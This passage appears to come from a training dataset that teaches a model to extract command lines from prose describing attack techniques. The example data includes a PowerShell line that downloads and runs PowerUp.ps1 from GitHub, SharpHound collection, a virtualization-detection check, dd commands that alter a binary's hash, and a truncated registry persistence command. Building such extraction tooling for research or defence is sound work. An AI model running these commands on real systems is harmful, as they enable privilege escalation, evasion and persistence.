consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n You can verify whether virtualization is active by executing the following command, which checks for a Model Identifier without 'Mac': if [ \"$(system_profiler SPHardwareDataType | grep \"Model Identifier\" | grep -v 'Mac')\" != \"\" ]; then echo 'Virtualization Environment detected'; fi;; The binary's hash can be modified by appending zero bytes and random data with this command:\ndd if=/dev/zero bs=1 count=1 >> #{file_to_pad} #adds null bytes\ndd if=/dev/random bs=1 count=1 >> #{file_to_pad} #adds high-quality random data\ndd if=/dev/urandom bs=1 count=1 >> #{file_to_pad} #adds low-quality random data\n", "output": "{\"command_list\": [\"if [ \\\"$(system_profiler SPHardwareDataType | grep \\\"Model Identifier\\\" | grep -v 'Mac')\\\" != \\\"\\\" ]; then echo 'Virtualization Environment detected'; fi;\\n\", \"dd if=/dev/zero bs=1 count=1 >> #{file_to_pad} #adds null bytes\\ndd if=/dev/random bs=1 count=1 >> #{file_to_pad} #adds high-quality random data\\ndd if=/dev/urandom bs=1 count=1 >> #{file_to_pad} #adds low-quality random data\\n\"]}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n To establish persistence, a JavaScript block will be added to the registry, which you can verify by executing the following command: New-ItemProperty \"HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\" -Name T1112 -Value \"